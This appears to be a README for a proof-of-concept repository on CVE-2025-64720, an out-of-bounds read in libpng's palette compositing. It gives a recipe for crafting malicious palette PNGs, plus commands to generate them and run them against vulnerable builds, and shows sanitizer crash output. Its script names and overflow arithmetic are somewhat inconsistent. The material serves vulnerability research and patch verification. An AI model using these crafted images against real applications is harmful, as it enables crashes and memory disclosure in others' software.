CVE-2025-64720: libpng Buffer Overflow in Palette Premultiplication

Status: Patched
Severity: High
CVE ID: CVE-2025-64720
Discovery Date: 2025-11-XX
Public Disclosure: 2025-11-21

Overview

Summary

An out-of-bounds read vulnerability exists in libpng's png_image_read_composite function when processing palette images with PNG_FLAG_OPTIMIZE_ALPHA enabled. The palette compositing code in png_init_read_transformations incorrectly applies background compositing during premultiplication, violating the invariant component ≤ alpha × 257 required by the simplified PNG API, leading to memory corruption.

Vulnerability Details

Root Cause

In png_init_read_transformations at line ~1336, the palette expansion code performs:

component += (255-alpha)*png_sRGB_table[outrow[c]];

This calculation produces component values up to 16,776,960 (0x1000800), where (component >> 15) == 512. The subsequent PNG_sRGB_FROM_LINEAR macro in png_image_read_composite performs out-of-bounds array access:

png_sRGB_base[component>>15]    // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)

The issue occurs when:

PNG uses palette mode (color type 3) with transparency (tRNS chunk)
Application uses simplified API with alpha-capable format
PNG_FLAG_OPTIMIZE_ALPHA is internally enabled
Palette expansion performs premultiplication with background compositing

Vulnerable Component

File: pngread.c, pngtrans.c
Functions: png_image_read_composite, png_init_read_transformations
Code Path: Simplified API → Palette expansion with alpha optimization

Invariant Violation

Expected: component ≤ alpha × 257
         Ensures (component >> 15) ≤ 511 (within array bounds)

Actual:   component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         With alpha=0, RGB=255: component can exceed expected bounds
         
Result:   (component >> 15) can equal 512 (out of bounds access)

Affected Versions

Vulnerable Versions

Software: libpng
Versions: All versions < 1.6.51
Platforms: Linux, Windows, macOS, BSD, etc.
Architectures: x86, x64, ARM, ARM64, etc.

Patched Versions

First Patched Version: 1.6.51
Release Date: 2025-11-21
Patch Commit: 08da33b

Version Detection

# Method 1: pkg-config
pkg-config --modversion libpng

# Method 2: Direct library query
libpng-config --version

# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h

Technical Analysis

Attack Vector

An attacker can exploit this vulnerability by crafting a malicious PNG file with specific characteristics:

Attack Prerequisites:
- Target application uses libpng < 1.6.51
- Application uses simplified PNG API (png_image_* functions)
- Application requests alpha-capable output format (e.g., RGBA, ARGB)
Attack Steps:
- Create palette PNG (color type 3) with tRNS chunk
- Set palette entries to maximum RGB values (255, 255, 255)
- Set alpha values to zero for multiple palette entries
- Victim application processes the PNG with alpha format
- PNG_FLAG_OPTIMIZE_ALPHA is enabled internally
- Palette expansion violates component invariant
- Out-of-bounds array access occurs
Attack Outcome:
- Out-of-bounds read from png_sRGB_base or png_sRGB_delta
- Memory corruption leads to heap-use-after-free
- Application crash (denial of service)
- Potential information disclosure via OOB read

Memory Layout

┌─────────────────┐
│ png_sRGB_base   │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Array indices: 0-511 (512 entries)
│ [512 entries]   │  Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │  Potential information disclosure
└─────────────────┘

Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)

Trigger Conditions

Required Conditions:

PNG color type 3 (indexed/palette)
tRNS chunk present (transparency)
Alpha values of 0 in tRNS chunk
High RGB values in palette (especially 255, 255, 255)
Simplified API usage (png_image_finish_read)
Alpha-capable format (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA with flags)

Optional Factors:

Format with PNG_FORMAT_FLAG_AFIRST increases crash likelihood
Larger images provide more opportunities to trigger the bug
Multiple zero-alpha palette entries increase reliability

Non-Triggering Conditions:

libpng >= 1.6.51 (patched)
PNG_FORMAT_RGBA without additional flags (sometimes safe)
Non-palette color types (RGB, grayscale, etc.)
Palette without transparency
All alpha values = 255 (fully opaque)

Proof of Concept

Quick Start

# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Generate images
python3 generate-images.py

# Build test
chmod +x build.sh
./build.sh

# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

PoC Components

1. Exploit Generator (`generate-images.py`)

Generates malicious PNG files that trigger the vulnerability.

Usage:

python3 generate_poc.py

Output:

exploit_v1.png - 8x8 image, uniform white palette, zero alpha
exploit_v2.png - 8x8 image, strategic palette variation
exploit_v3.png - 64x64 image, large with repeated patterns
exploit_v4.png - 4x4 image, minimal case with all-zero alpha

Options:

# Generate specific variant
generate_malicious_png('custom.png', variant=2)

# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow

2. Test (`test.c`)

Processes PNG files using the simplified API and demonstrates the vulnerability.

Compilation:

# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0

# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

Features:

Tests multiple alpha-capable formats (RGBA, ARGB, LINEAR_RGB_ALPHA)
Displays libpng version and vulnerability status
Shows first pixel values for verification
Comprehensive error handling

Expected Output

On Vulnerable Version (libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

On Patched Version (libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

Impacts

Confirmed Impacts

Denial of Service: Reliable application crash when processing malicious PNG files
Memory Corruption: Heap-use-after-free due to OOB read corrupting internal state
Information Disclosure: Potential leak of adjacent memory contents via OOB read

Potential Impacts

Remote Code Execution: Theoretically possible if memory corruption can be controlled, though not demonstrated
Browser Exploitation: Web browsers using vulnerable libpng could crash when visiting malicious sites

Step-by-Step Reproduction

Step 1: Generate Exploit

python3 generate_poc.py

Expected output:

======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

Step 2: Compile Test

chmod +x build.sh
./build.sh

Expected output:

[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

Step 3: Execute Exploit

./test_asan exploit_v1.png

Expected Result (Vulnerable - libpng 1.6.36):

libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

Expected Result (Patched - libpng >= 1.6.51):

libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

Alternative Testing Methods

With Valgrind

gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

Expected output (vulnerable):

==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

With GDB

gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash

(gdb) bt
# Shows backtrace with png_safe_execute at top

(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash

With LLDB (macOS M1-M4)

lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash

(lldb) bt
# Shows backtrace

(lldb) register read
(lldb) memory read -c 32 -- $sp

References

Official Sources

Vendor Advisory: http://www.libpng.org/pub/png/libpng.html
CVE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
libpng Homepage: http://www.libpng.org/pub/png/libpng.html

Technical Details

Bug Report: https://github.com/pnggroup/libpng/issues/686
Patch Commit: https://github.com/pnggroup/libpng/commit/08da33b
Pull Request: https://github.com/pnggroup/libpng/pull/751
Release Notes: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

CVE-2025-64505: Heap buffer overflow in png_do_quantize() via malformed palette index
CVE-2025-64506: Heap buffer over-read in png_write_image_8bit()
CVE-2025-65018: Heap buffer overflow in png_combine_row()
CVE-2019-7317: Use-after-free in png_image_free() (libpng < 1.6.37)

Credits

Discovery

Samsung-PENTEST - Security researcher
weijinjinnihao - Security researcher
yosiimich - Security researcher

Analysis & Fix

Fabio Gritti (Artiphishell) - Triage and analysis
John Bowler - libpng developer, fix contributor
Cosmin Truta - libpng maintainer, patch implementation

Testing

truediogo - PoC development and validation

Legal & Ethical Considerations

Disclaimer

⚠️ IMPORTANT: This PoC is provided for educational and research purposes only.

This code is intended for:
- Security research
- Vulnerability assessment of systems you own
- Academic study
- Developing defensive measures
- Patch verification
This code is NOT intended for:
- Unauthorized access to systems
- Malicious attacks
- Causing harm or damage
- Any illegal activities
- Exploitation without permission

By using this code, you agree to:

Use it only on systems you own or have explicit written permission to test
Comply with all applicable laws and regulations
Take full responsibility for your actions
Not hold the authors liable for any misuse
Follow responsible disclosure practices

CVE-2025-64720-PoC

Most Popular